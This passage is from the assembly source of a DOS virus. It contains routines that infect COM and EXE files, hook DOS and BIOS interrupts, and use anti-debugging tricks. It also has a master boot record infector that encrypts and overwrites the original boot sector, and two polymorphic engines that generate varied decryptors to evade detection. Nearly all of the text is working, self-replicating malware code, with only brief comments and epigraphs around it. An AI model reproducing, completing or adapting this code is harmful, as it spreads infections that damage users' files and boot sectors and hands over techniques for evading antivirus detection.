        call    copy_myself

        pop     ax
        sub     ax,si       ; ?
        sub     ax,3
        mov     word ptr cs:[comjmp+1],ax       ; cs: fuera

        mov     word ptr es:[di+15h],si      ; Go to init ( 0 or SI )
        call    Strapping_Young_Lad

        pop     dx
        mov     ah,45h                      ; Free EMS memory
        int     67h

        jmp     @rest_stuff

@rec_append:
        pop     ax bx
@append:

        mov     word ptr cs:[ret_pos],0100h

        mov     ax,word ptr es:[di+11h]     ; Jump at init
        mov     word ptr es:[di+15h],ax
        push    ax
        add     ax,200h
        call    Smack_My_Bitch_UP
        mov     bp,1
        call    copy_myself


        pop     ax
        sub     ax,3
        mov     word ptr cs:[comjmp+1],ax

        mov     word ptr es:[di+15h],0      ; Go to init ( 0 or SI )
        call    Strapping_Young_Lad

@rest_stuff:

        pop     dx cx
        or      cl,1fh          ; New file time
        mov     ax,5701h
        call    call_21h

rest_attrs:
        pop     ax
        mov     byte ptr es:[di+4h],al      ; Attrib

@closego:

        mov     ah,3eh
        call    call_21h


end_infection:

        push    cs
        pop     ds

trick:
        mov     ax,0cd34h
        add     ax,2beah
        jnc     trick+1
        xor     cx,cx
        sub     al,0b5h
        lea     dx,handler22h
        cmp     word ptr ds:[int21h_plural],cx
        jz      @dontmessitup
        div     cx                  ; AX = 2508h

@dontmessitup:

        xor     ax,0ffffh
        push    ax
        mov     dx,word ptr cs:[int24h]
        mov     ds,word ptr cs:[int24h+2]

trick2:
        add     ax,0f1f7h           ; AX = 2524h
        sub     ax,0a7cah
        jnc     trick2+1
                            ; ax = 7d5a ahora

        pop     ax
        mov     si,word ptr cs:[int0h]          ; Looks as if it was anything
        mov     ds,word ptr cs:[int0h+2]        ;of interest in ds:si
trick3:
        add     ax,0f289h            ; inside -> mov dx,si
        add     ax,02bc0h
        jnc     trick3+1

        div     cx
        jmp     We_finish_here_anyway
return_point    equ $-2

;***********

EMS_IVT:
        push    ds
        xor     ax,ax
        mov     ds,ax
        mov     ax,word ptr ds:[19ch]       ; Int67h present ? Could hang
        pop     ds                          ;otherwise
        or      ax,ax
        ret

EMS_Get:

        push    bx                          ; File handle

        mov     ah,41h                      ; Address of the page frame
        int     67h                         ;segment in Bx, where pages are
                                            ;dumped
        push    bx

        mov     ah,43h
        mov     bx,2                        ; Assign 2 pages ( 32 Kb ) for us
        int     67h
        or      ah,ah
        jnz     @rec_append                 ; Dx = EMS Handler

        mov     ax,4400h                    ; Dump the logical page in BX
        mov     bx,0000h                    ;to the physical one in Al
        int     67h

        pop     ds                          ; Segment of EMS: we can start
                                            ;writing on this 32Kb
        pop     bx                          ; Recover handle
        ret


repeated:       db      0
coincidences:   dw      0
reference:      db      0

Infect_Exe:

        ; With file opened, date stored, etc

        call    EMS_IVT
        jz      Exe_Shit

        cmp     dword ptr es:[di+11h],350000d   ; Maximum
        ja      Exe_Shit

        cmp     word ptr cs:[buffercom+1ah],0          ; Not-overlays
        jnz     Exe_Shit

        mov     ah,40h                      ; EMS  ?
        int     67h
        or      ah,ah
        jnz     Exe_Shit

        call    EMS_Get
        mov     byte ptr cs:[reference],-1

        push    dx

Read_16Kb:
        inc     byte ptr cs:[reference]
        xor     dx,dx
        mov     ah,3fh
        mov     cx,04000h
        div     dx
        cmp     cx,ax
        jnz     @Free_Ems
        xor     si,si
Get_byte:
        lodsb
        cmp     byte ptr cs:[repeated],al
        jz      @add_1_to
        mov     byte ptr cs:[repeated],al
        mov     word ptr cs:[coincidences],0
@add_1_to:
        inc     word ptr cs:[coincidences]
        cmp     word ptr cs:[coincidences],virus_size
        jz      @CavityRulez

        cmp     si,4000h
        jnae    Get_Byte
        jmp     Read_16Kb

@CavityRulez:

        xor     ax,ax
        mov     al,byte ptr [reference]
        mov     dx,4000h
        mul     dx                      ; DX:AX is tha shit
        add     ax,si                   ; Offset on this one
        adc     dx,0                    ; Adjust dx
        sub     ax,(virus_size-01ch)    ; Real offset
        sbb     dx,0                    ; Adjust dx

        push    ax dx          ; Start en fichero
        pop     ax
        rol     eax,16d
        pop     ax              ; EAX = DXAX
        mov     dx,word ptr cs:[buffercom+8h]
        rol     dx,4d           ; ( paragraphs )
        mov     dword ptr es:[di+15h],eax

        push    ax
        sub     ax,dx
        add     ax,100h
        mov     si,ax
        call    Smack_My_Bitch_UP

        pop     ax

        mov     bp,1
        call    copy_myself

        sub     ax,dx
        rol     eax,16d
        sbb     ax,0h
        rol     eax,16d
        mov     dword ptr cs:[buffercom+14h],eax
        push    cs
        pop     ds
        lea     dx,buffercom
        mov     cx,1ch
        xor     ebp,ebp
        mov     dword ptr es:[di+15h],ebp
        mov     ah,40h
        div     bp


@Free_Ems:

        pop     dx                  ; EMS Handle
        mov     ah,45h                      ; Free EMS memory
        int     67h

        ; Parte final com£n:
Exe_Shit:

        jmp     @rest_stuff

;ú--úú-úú-ú-úúú-ú--ú-ú-úú--ú--ú-úú-ú-úú-úú-ú-ú-úú-úú-ú--ú-úú-ú--ú-úú-ú-úú-ú-ú
;                             Int 8h handler
;-ú--ú-ú-úú-ú-úúú--úúú-ú--ú--ú-ú--ú-ú-ú--úú-ú-úú--úú-ú-úúú-ú-ú-ú-ú--ú-úúú-ú-ú

db      'I''m Ithaqua,... that who walks over the wind',0

handler22h:

        call    push_all_regs

        mov     ds,word ptr cs:[Swap_seg]
        mov     si,word ptr cs:[Swap_off]
        lodsw               ; ah=INDOS flag
        or      ax,ax
        jnz     go_away
        mov     al,byte ptr cs:[InVirus]
        or      al,al
        jnz     go_away

        cld
        push    cs                  ; So, we recover the jump.
        pop     ds
        mov     es,word ptr ds:[jump_handle+2]
        mov     di,word ptr ds:[jump_handle]
        lea     si,saved21
        movsd
        movsb

        xor     ax,ax
        mov     ds,ax
        db      0a0h,06ch,04h   ; mov al,[46ch]
        and     al,11b
        cmp     al,3d
        jnz     betta_dan_be4
        dec     al
betta_dan_be4:
        rol     ax,2

        mov     si,offset int21h_plural
        add     si,ax

        mov     dx,word ptr cs:[si]
        mov     ds,word ptr cs:[si+2]
        mov     word ptr cs:[jump_handle],dx
        mov     word ptr cs:[jump_handle+2],ds
        push    cs dx               ; We save real instructions
        pop     si es
        lea     di,saved21
        movsd
        movsb

        call    rehandle

go_away:

        call    pop_all_regs

        db      0eah
int8h:  dw      0,0


;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú--ú-
;                               MBR Stuff
;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú-úú-
;
;   Aquel que se rompe los dientes con la c scara raramente come la
; almendra.
;
;

MBR_start label byte

MBR_real_start:

        cli
        db      (512d-(boot_up_end-MBR_bootup)+1) dup (90h)

MBR_Bootup:

        cli
        xor     ax,ax
        mov     ss,ax
        mov     sp,7c00h
        sti

        mov     si,sp

        mov     ds,ax
        dec     word ptr ds:[413h]
        int     12h
        shl     ax,6d
        mov     es,ax

        xor     di,di
        mov     cx,512d
        rep     movsb
        push    es
        push    offset Sector_3-(MBR_Start-Virus_starts)
        retf

Sector_3:           ; Ok, we are now outta that 7c00h...

Int13h_relo equ int13h-(MBR_start-virus_starts)

        xor     ax,ax
        mov     ds,ax
        mov     si,004ch
        lea     di,Int13h_relo
        movsw           ; movsd
        movsw

                        ; Relocate int 13h jump

        mov     word ptr cs:[cal-(MBR_start-virus_starts)],offset Int13h_relo


        cli
        mov     word ptr ds:[004ch],offset (Int13_h-(MBR_start-virus_starts))
        mov     ax,cs
        mov     word ptr ds:[004eh],ax      ; Set new int13h
        sti

        mov     dl,80h
        int     19h                         ; Boot: stealth will do


Int13_h:                ; Int13h handler

        cmp     eax,"_POT"
        jz      @Dissapear
        cmp     ah,02h
        jz      Stealth_read
jmpto:  db      0eah
Int13h: dw      0,0

        ret

call13h:
        pushf
        call    dword ptr cs:[int13h]
cal     equ     $-2
        ret

@Dissapear:
        mov     eax,"ALSO"                  ; %-)
        push    dx cx
        retf

Stealth_read:
        cmp     dx,0080h
        jnz     jmpto
        cmp     cx,1
        jne     jmpto

        call    call13h         ; Make read

        push    si ax cx
        mov     ax,0201h
        mov     cl,2h
        call    call13h         ; First sector read is now partition table.

        mov     cx,512d
        mov     si,bx
        mov     al,0
Part_enc    equ $-1

Decrypt_MBR:
        xor     byte ptr es:[si],al
        inc     si
        loop    Decrypt_MBR
        pop     cx ax si;

        retf    2               ; Return to host

Stupid_message:
        db      'Welcome to my world, adventurer. Follow me.'


Boot_up_end     label byte
        db      055h,0aah

; END OF MBR SECTOR



MBR_Infection:              ; ES is set to old copy in file/mem
                            ; BX is set then to the MBR_start there

        mov     dx,0281h
        mov     ax,dx
        xor     cx,cx
        add     bx,offset MBR_start
        mov     si,bx
        add     ax,0ff80h
        xor     dx,ax
        inc     cx
        int     13h
        jc      Abort_MBR

        in      al,40h
        mov     cx,512d
        push    cx
        mov     byte ptr cs:[Part_enc],al
Encrypt_MBR:
        xor     byte ptr es:[si],al
        inc     si
        loop    Encrypt_MBR

        pop     cx
        sub     cx,510d
        mov     ax,dx
        add     ax,282h                 ; Save MBR in sector two
        int     13h
        jc      Abort_MBR

        push    dx

        call    GROG                ; Gory Ruthless Opcode Generator

        pop     dx
        mov     ax,1
        mov     cx,ax
        lea     bx,MBR_start       ; Write new MBR and fuck up old one
        sub     ax,0fd00h
        int     13h
        jc      Abort_MBR

        lea     di,MBR_Bootup           ; Optimizar
        lea     si,_stack
        mov     cx,Boot_up_end-MBR_Bootup
        rep     movsb

        mov     ds,cx                   ; ds = 0
        mov     si,4ch
        lea     di,int13h
        movsw
        movsw

        cli
        mov     word ptr ds:[004ch],offset Int13_h
        mov     ax,cs
        mov     word ptr ds:[004eh],ax      ; Set new int13h
        sti



Abort_MBR:

        ret



MBR_end label byte
MBR_module_size equ MBR_end-MBR_start


;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;(*                  Gory Ruthless Opcode Generator [GROG]                 *)
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;
;
;
; Parameters:
;
;   DX = Decryptor length
;   ES:DI = Buffer to make decryptor ( followed by boot-up code )
;   DS:SI = Going-to-crypt code
;   CX = Length of encrypted zone
;
;
;

GROG:

        push    cs cs
        pop     ds es
        lea     si,MBR_Bootup
        lea     di,_stack
        mov     cx,Boot_up_end-MBR_Bootup
        rep     movsb



        lea     di,MBR_Real_Start+151d
dec_1_length equ 512d-(boot_up_end-MBR_bootup)
        lea     si,MBR_Bootup
        mov     cx,Boot_up_end-MBR_Bootup
        mov     word ptr cs:[boot_decr_offset],offset boot_decr_inst
        mov     byte ptr cs:[do_crypt_inst],05h
        mov     byte ptr cs:[remaining],dec_1_length-153d
        mov     word ptr cs:[@place_to],07c00h+(dec_1_length-(02d))

        push    di ds
        call    real_poly
        pop     ds si

        lea     di,MBR_real_start+1
        mov     cx,512d-153d

        mov     word ptr cs:[boot_decr_offset],offset boot_decr_inst
        mov     byte ptr cs:[do_crypt_inst],05h
        mov     byte ptr cs:[remaining],150d
        mov     word ptr cs:[@place_to],7c00h+151d
        call    real_poly

        ret

;*-*-*-*-*-*-*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*-*-*-*-*-*-*-
;*-*-*-*-*-*-*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*-*-*-*-*-*-*-


real_poly:

    ; First of all, encrypt.

encrypt:
        push    cx
        xor     bx,bx
        xor     ax,ax
        in      al,40h
        mov     cl,3
        div     cl
        add     bl,ah
        xor     ax,ax
        add     bx,offset crypts
        xlat
        mov     byte ptr cs:[Encrypt_kind],al  ; Al has the byte which
                                        ;determines kind of encryption
        sub     al,4
        cmp     al,30h              ; Select which decryption to use
        jz      do_cryptor_b
        xor     al,28h              ; Swap add/sub
do_cryptor_b:
        pop     cx
        mov     byte ptr cs:[mode],al

        in      al,40h
        mov     byte ptr cs:[Crypt_value],al
do_cryptor:
        db      02eh                ; cs:
mode:   db      30h,04h             ; xor [si],al

        inc     si
        loop    do_cryptor

;***************************************************************************
;                      Finished crypting. Fun starts :)
;***************************************************************************

@switchSiDi:                    ; Switches SI and DI in decryptor
        mov     bl,2
        div     bl
        dec     ah
        mov     bl,0beh
        jz      @switch
        inc     byte ptr cs:[encrypt_kind]
        inc     bl

@switch:
        mov     byte ptr cs:[boot_decr_inst],bl
        sub     bl,78h      ; inc si=46h, di=47h
        mov     byte ptr cs:[Incer],bl
        sub     bl,0ah      ; si=3ch, di=3dh
        mov     byte ptr cs:[SiInCmp],bl

        push    cs
        pop     ds
        in      al,40h              ; Random
        push    ax                  ; fix


;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;(*                       Main Polymorphic engine                          *)
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)

Main_poly:                      ; ES:DI where to put it

        pop     ax                  ; Fix the push before
        mov     bl,6d               ; kinda instructions
        call    get_random          ; => bl limit, number before
                                ; => bx random number

    ; Go to instruction kind depending on table

        push    ax
        mov     dl,byte ptr cs:[remaining]

        mov     al,byte ptr cs:[do_crypt_inst]
        cbw                                 ; force decryptor if necessary
        div     dl
        cmp     al,22d              ; for 150d
        ja      @Non_need_to_force
        cmp     byte ptr cs:[do_crypt_inst],1
        jz      @Non_need_to_force

        xor     ax,ax

@Non_need_to_force:

        cmp     dl,04h
        ja      @Non_ending
        xor     bx,bx
        dec     dl
        jz      @Make_us_one
        dec     dl
        jz      @Make_us_two
        dec     dl
        jz      @Make_us_three
@Make_us_four:
        inc     bl
@Make_us_two:
        inc     bl
@Make_us_three:
        inc     bl
        inc     bl
@Make_us_one:
        inc     bl
@Non_ending:
        lea     si,generator_table1
        shl     bx,1
        add     si,bx               ; Points to an instruction kind
        lodsw                       ; Al, number of table entries
        mov     si,ax

    ; We've got in SI the InstructionKind table beggining offset

        lodsb                       ; Number of bytes
        mov     bl,al               ; Now in bl ( limit )
        pop     ax
        call    get_random          ; Gets another random number
        push    ax bx               ;for non-losing the number in the table
                                    ;and have last random in the beggining
        lodsb                       ; fixed block instructions length
        or      al,al               ; 0h tells decryptor instructions
        jz      Make_decryptor_inst
        mov     byte ptr cs:[random_make],0h    ; Initialize random_make
        inc     al
        jnz     @No_parameters
        lodsb                       ; random number length
        mov     byte ptr cs:[random_make],al    ; In random_make
        lodsb
        inc     al                  ; Fix

@No_parameters:
        dec     al
        xor     cx,cx
        add     cl,al               ; To see how many bytes will copy
        pop     bx                  ; BX = instr number, CX = number of bytes
        push    cx

@add_cx:
        add     si,bx               ; Now it has an instruction kind caught
        loop    @add_cx             ;in DS:SI
        pop     cx                  ; And CX is it's bytes number
        sub     byte ptr cs:[remaining],cl  ; Subs the number of copied bytes
        rep     movsb

        xor     cx,cx
        mov     cl,byte ptr cs:[random_make]
        or      cl,cl
        jz      @non_random_use
        pop     ax
        mov     bx,0abcdh
        add     ax,bx
        ror     ax,4h
        call    get_random          ; Random number in AX for instruction
        push    ax

@Store_random:
        stosb
        dec     byte ptr cs:[remaining]
        mov     al,ah
        loop    @Store_random

@non_random_use:

        cmp     byte ptr cs:[remaining],0
        jz      @@finished

        jmp     Main_poly

;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
;                     Makes a decryptor instruction on it
;(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)

Make_decryptor_inst:
        pop     bx
        dec     si
        dec     si
        push    si
        dec     byte ptr cs:[si]
        lodsb
        jz      @no_more_dec          ; 5:4:3:2:1 -> 6§ change ( =1 ), bye

        cmp     al,03h              ; Check to make correct jnz
        jnz     @non_op_dec         ;storing the relative offset
        mov     dl,byte ptr cs:[remaining]
        add     dl,7d
        mov     byte ptr cs:[offset_codify],dl

@non_op_dec:

        cmp     al,01h
        jnz     @non_jnz
        mov     dl,00h
        sub     dl,byte ptr cs:[offset_codify]
        add     dl,byte ptr cs:[remaining]
        mov     byte ptr cs:[Where_junz],dl


@non_jnz:
        pop     bx          ; Fix
        inc     si          ; We make it point where we need, beginning bytes
        mov     bx,4d
        xor     ah,ah
        sub     bl,al
        add     si,bx               ; Position in bytes number
        lodsb                       ;AL number of bytes
        mov     si,word ptr cs:[boot_decr_offset]   ; instruction to send
        xor     cx,cx
        mov     cl,al               ; times to write
        add     word ptr cs:[boot_decr_offset],cx
        sub     byte ptr cs:[remaining],cl
        rep     movsb               ; copy the instruction

        cmp     byte ptr cs:[remaining],0
        jnz     @dece

@@finished:
        pop     ax
        ret

@no_more_dec:
        pop     si
        inc     byte ptr cs:[si]
@dece:
        jmp     Main_Poly

; XOR BYTE PTR [XXXX],YY        80 36 XX XX YY
; SUB BYTE PTR [XXXX],YY        80 2E XX XX YY   xor 28h
; ADD BYTE PTR [XXXX],YY        80 06 XX XX YY

generator_table1:
        dw      offset do_crypt_inst
        dw      offset do_operation_one_byte
        dw      offset do_push_pop
        dw      offset do_operation_random_bytes
        dw      offset do_operation_two_random
        dw      do_operation_two_two

do_crypt_inst:
        db      04h             ; Decryptor instruction number
        db      00h             ; Decryptor instruction kind
        db      03h,04h,01h,07h ; lengths

do_operation_one_byte:
        db      end_1_byte-do_operation_one_byte-(02d)
        db      01h

        db      41h,42h,43h,44h,45h          ; (incs) CX DX BX SP BP
        db      49h,4ah,4bh,4ch,4dh             ; (dec) CX DX BX SP BP
        db      90h             ; NOP
        db      99h             ; CWD
        db      0f8h            ; CLC
        db      0f9h            ; STC

end_1_byte label byte

do_push_pop:
        db      end_pushpop-do_push_pop-(02d)
        db      01h
        db      07h,017h,01fh             ; POP
        db      59h,5ah
        db      5bh,5ch,5dh
end_pushpop label byte

do_operation_random_bytes:
        db      end_3_bytes-do_operation_random_bytes-(04d)
        db      0ffh            ; Register use
        db      02h             ; Random number length
        db      01h             ; Quantity of opcodes to copy from the table
        db      0a9h            ; Test ax,xxxx
        db      0b9h,0bah,0bbh,0bch,0bdh
                            ; Mov Cx,xxxx... Dx,Bx,Sp,Bp
end_3_bytes label byte

do_operation_two_random:
        db      end_2_rnd-do_operation_two_random-(04d)
        db      0ffh            ; Needs number
        db      01h             ; Random length
        db      01h             ; Number of opcodes
        db      0a8h            ; test al,xx
        db      0b1h,0b2h,0b3h,0b5h,0b6h,0b7h ;mov: cl dl bl ch dh bh
end_2_rnd label byte

do_operation_two_two:
        db      (end_two_two-do_operation_two_two)/2-(04d)
        db      0ffh            ; Needs number
        db      02h             ; Random
        db      02h             ; Opcodes
        db      08bh,01eh,08bh,02eh,08bh,0eh,08bh,09eh,08bh,0aeh  ; mov reg,mem
        db      08bh,026h,08bh,016h
end_two_two label byte

crypts:
        db      34h,2ch,04h       ; Last, kinda encryption
boot_decr_offset:
        dw  offset boot_decr_inst
remaining:
        db      ?
offset_codify:
        db  ?

boot_decr_inst:     ; Can't touch SI, AX

;   New example:
;

            mov     si,07c00h+512d-(boot_up_end-MBR_bootup)-2;200d+100h      ; 1 byte instr, dos dir
@place_to   equ $-2
        db      02eh        ; CS:
        db      80h
        db      34h          ; Style ( with SI and AL )
        db      00h          ; Encryption value
 Crypt_value equ $-1
 Encrypt_kind equ $-2
 Looping_Crypt equ $-3
 Incer equ $
        inc     si
        db      02eh    ;cs:
        cmp     word ptr [si],0AA55h          ; 55AAh
 SiInCmp equ $-3        ; 3ch SI 3dh DI
        jnz     Looping_Crypt
 Where_junz equ $-1
;

Random_make:
        db  0
get_random:

        ror     ax,5h
        xor     ax,0ddddh
@Xor_random     equ     $-2
        push    ds
        push    0
        pop     ds
        add     al,byte ptr ds:[413h]
        pop     ds
        add     word ptr cs:[@Xor_random],ax
        sub     ax,51h
        push    ax
        xor     ah,ah
        div     bl
        xor     bx,bx
        mov     bl,ah               ; Pointer to tables
        pop     ax
        ret



;   Takhisis was known also as having a lot of faces, and that's the way
; the children and the mad, the only brave enough to pronounce her name,
; called her at Hylo.
;


RNME:

                ; The very first thingie is deciding if it will be xor, add
                ;or sub

                ; loop_dec + 2
                ; crypt_file
        push    cx
        mov     cl,30h
        call    aleatorio
        and     al,1
        jz      @crypt_with_xor
        mov     cl,00h
        and     ah,1
        jz      @crypt_with_xor
        xor     cl,28h

@crypt_with_xor:
        mov     byte ptr [crypt_file],cl
        cmp     cl,30h
        jz      @no_cambiar_crypt
        xor     cl,28h

@no_cambiar_crypt:
        add     cl,5
        mov     byte ptr [instrucciones+0ch],cl
        pop     cx

                ; Dx = Bp = start_crypt
                ; Cx = encryption length

        mov     word ptr [instrucciones+0fh],0e247h     ; inc di/loop

        in      al,40h
        mov     byte ptr [encrypt_val],al

crypt_file:
        xor     byte ptr [bp],al
        inc     bp
        loop    crypt_file


        mov     byte ptr [instrucciones+05h],0b9h   ; mov cx,xxxx
        mov     byte ptr [reentrant_flag],0
        mov     word ptr [bytes_referencia],0h
        mov     word ptr [restantes_poly],200h   ; n.instr decryptor
        mov     byte ptr [numero_instruccion],4h ; n.util instrs

  ; This first part of the poly engine fills the blanks of the four blocks
  ;with random instructions



        lea     di,instrucciones+3h;Instruct_new+3h
two_times:
        call    aleatorio
        and     ah,1
        jz      two_of_one
        call    inst_2
        jmp     next_inst_gen

two_of_one:
        call    inst_1
        inc     di
        call    inst_1

next_inst_gen:
        cmp     di,( offset instrucciones+08h )
        jae     @di0dh
        lea     di,Instrucciones+08h
        jmp     two_times
@di0dh:
        cmp     di,( offset Instrucciones+12h )
        ja      @end_filling
        lea     di,Instrucciones+0eh
        call    inst_1
        lea     di,Instrucciones+12h
        jmp     two_times

@end_filling:



  ; This part exchanges 50% times Si and Di registers, which are used in
  ;the decryptor instructions


        call    aleatorio
        and     ah,1
        mov     byte ptr [instrucciones],0bfh
        jz      dontchangeem
        mov     byte ptr [instrucciones],0beh
        dec     byte ptr [instrucciones+0ch]        ; encriptaci¢n

        mov     byte ptr [instrucciones+0fh],046h   ; Para el Inc


dontchangeem:


  ; Depending on a random value, cx is obtained by the normal way ( mov cx, )
  ; or with a mov dx, register, mov cx,dx

        call    aleatorio
        and     ah,1
        jz      cx_acabado
        cbw
        and     ah,1
        jz      siguiente_abajo
        and     al,1
        jz      con_bp_cx
        mov     byte ptr [instrucciones+05h],0bbh       ; mov bx,xxxx
        mov     word ptr [instrucciones+08h],0d989h     ; mov cx,bx
        jmp     cx_acabado
con_bp_cx:
        mov     byte ptr [instrucciones+05h],0bdh       ; mov bp,xxxx
        mov     word ptr [instrucciones+08h],0e989h     ; mov cx,bp
siguiente_abajo:
        and     al,1
        jz      cx_con_dx
        mov     byte ptr [instrucciones+05h],0b8h       ; mov ax,xxxx
        mov     word ptr [instrucciones+08h],0c189h     ; mov cx,ax
        jmp     cx_acabado
cx_con_dx:
        mov     byte ptr [instrucciones+05h],0bah       ; mov dx,xxxx
        mov     word ptr [instrucciones+08h],0d189h     ; mov cx,dx
cx_acabado:

  ; The modification of the instructions of the decryptor finishes here with
  ;all changes made: the originals are kept at the beggining of the virus in
  ;memory. The posible 'final loop' exchange is made when writing the
  ;decryptor

  ; Here begins the main zone of the code generator; where it's decided
  ;what generator to use and random instructions are copied at the
  ;decryptor.


        mov     di,virus_size+1
centro_poly:
        mov     ax,word ptr [restantes_poly]    ; Remaining
        mov     cx,ax                           ;instructions number
        and     cx,cx
        jnz     sigamos_decriptor
        jmp     acabamos_decryptor      ; Checks if finished
sigamos_decriptor:
        cmp     cx,@End_ant-ant_debug
        jae     @cont_decrr
        cmp     byte ptr [numero_instruccion],1
        jz      @@call_decryptgen
@cont_decrr:                        ; If we have 1, 2 or 3 bytes remaining
        dec     cx
        jz      @@call_inst_1
        dec     cx
        jz      @@call_inst_2
        dec     cx
        jz      @@call_inst_3

        mov     cx,80h      ; 200h / 80h = 4
        div     cl
        inc     al
        cmp     byte ptr [numero_instruccion],al
        ja      @@call_decryptgen

        cmp     byte ptr[numero_instruccion],1
        jnz     @continuemos        ; To avoid the loop from going
        mov     ax,di               ;out of range
        sub     ax,word ptr [loop_site]
        cmp     ax,70h
        jae     @@call_decryptgen
        cmp     byte ptr [restantes_poly],10d
        jbe     @@call_decryptgen

@continuemos:
        call    aleatorio           ; randomly, place 3 bytes instr,
        and     ah,1                ;2, routine...
        jz      @@trestipos
        and     al,1
        jz      @@call_inst_4
@@call_inst_1:
        call    inst_1
        dec     word ptr [restantes_poly]
        inc     di
        jmp     centro_poly
@@call_inst_4:
        call    inst_4
        add     di,4
        sub     word ptr [restantes_poly],4
        jmp     centro_poly

@@trestipos:
        cbw
        and     ah,1
        jz      @@inst_2odec
        and     al,11b
        jz      @@call_sub
@@call_inst_3:
        call    inst_3
        add     di,3
        sub     word ptr[restantes_poly],3
        jmp     centro_poly
@@inst_2odec:
        and     al,111b     ; Low probability
        jnz     @@call_inst_2
@@call_decryptgen:
        call    gen_instruction
        jmp     centro_poly
@@call_inst_2:
        call    inst_2
        inc     di
        sub     word ptr[restantes_poly],2
@fix1:
        jmp     centro_poly
@@call_sub:
        cmp     word ptr[restantes_poly],@End_ant-ant_debug
        jb      @fix1
        call    inst_5
        add     di,si
        sub     word ptr[restantes_poly],si  ; Long non fixed size
        jmp     centro_poly             ;routine


acabamos_decryptor:
        ret


instrsize       equ     instr_end-instr_start

instr_start     label byte

  ; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

        mov     di,0200h
Another_BP      equ     $-2
        db      90h,90h         ; variable ( junk gen )
;5
        mov     cx,virus_size
        db      90h,90h

;A
loop_dec:
        xor     byte ptr cs:[di],00d
encrypt_val     equ     $-1
        db      90h
;F
        inc     di
        loop    loop_dec
        db      90h,90h


instr_end       label byte

;*******************************************
;               Decryptor values and data
;--------------------

Restantes_poly:     dw 200h         ; Remaining instructions counter
Numero_instruccion: db 4            ; Instruction number
num_aleat:          dw 1250h        ; Aleatory number counter
variable_inst:      db 7h           ; 0111b
loop_site:          dw 0h           ; Looping allocation Offset
bytes_referencia:   dw 0h           ; Reference for instructions


  ; This returns a random number in Ax after making some operations.

aleatorio:
        mov     ax,word ptr[num_aleat]
        call    aleat2
aleat2:
        ror     ax,5          ; The seed number is stablished in each
        add     ax,1531h      ;infection by the date, and modified
        push    cx dx ax      ;by the minutes ( but in Al, the less
        mov     ah,2ch        ;used, to contribute to the slow poly )
        int     21h           ;and hour.
        pop     ax
        add     ah,ch
        pop     dx cx
        rol     ax,1
        neg     ax
        sub     ax,2311h
        ror     ax,3
        not     ax
        mov     word ptr[num_aleat],ax
        ret

  ; Instructions generators: the required instructions are generated and
  ;copied in es:di, which points to the decryptor in memory

  ; Main generator: Copies a decryptor instruction in es:di, with special
  ;care for the final loop

gen_instruction:
        mov     al,byte ptr [numero_instruccion]
        and     al,al
        jz      @vasmosnos
        dec     al
        jz      @preparar_loop
        dec     al
        jz      @guardar_paraloop
@gen_ya:
        dec     byte ptr [numero_instruccion]
        lea     si,instrucciones
        add     si,word ptr [bytes_referencia]
        add     word ptr [bytes_referencia],5h

        mov     cx,5            ; copy the instruction
        rep     movsb
        sub     word ptr[restantes_poly],5h  ; remaining instrs


@vasmosnos:
        ret
@guardar_paraloop:
        mov     word ptr [loop_site],di
        jmp     @gen_ya

@preparar_loop:
        mov     ax,0fdh     ; fc
        mov     si,di
        mov     cx,word ptr cs:[loop_site]
        sub     si,cx
        sub     ax,si
        mov     cx,word ptr [num_aleat]
        and     cl,1
        jz      @make_a_jnz
        mov     byte ptr [instrucciones+11h],al
        jmp     @gen_ya
@make_a_jnz:
        mov     word ptr [instrucciones+10h],7549h
        dec     ax
        mov     byte ptr [instrucciones+12h],al
        push    di
        lea     di, instrucciones+13h
        call    inst_1
        pop     di
        jmp     @gen_ya

  ; Generator ----> One byte length instructions generator

inst_1:
        call    aleatorio
        and     al,3h
        jnz     @cont_a1
        mov     byte ptr es:[di],90h
        ret
@cont_a1:
        and     ah,1
        jz      @cont_a2
        call    aleatorio
        and     ah,1h
        jz      @cont_a2_2
        and     al,1h
        jz      @cont_a2_1_1
        call    aleatorio
        and     al,1h
        jz      @cont_a2_2_1
        mov     byte ptr es:[di],42h     ; inc dx
        ret
@cont_a2_2_1:
        mov     byte ptr es:[di],43h     ; inc bx
        ret
@cont_a2_1_1:
        mov     byte ptr es:[di],40h     ; inc ax
        ret
@cont_a2_2:
        call    aleatorio
        and     al,1h
        jnz     @cont_a2_2_2
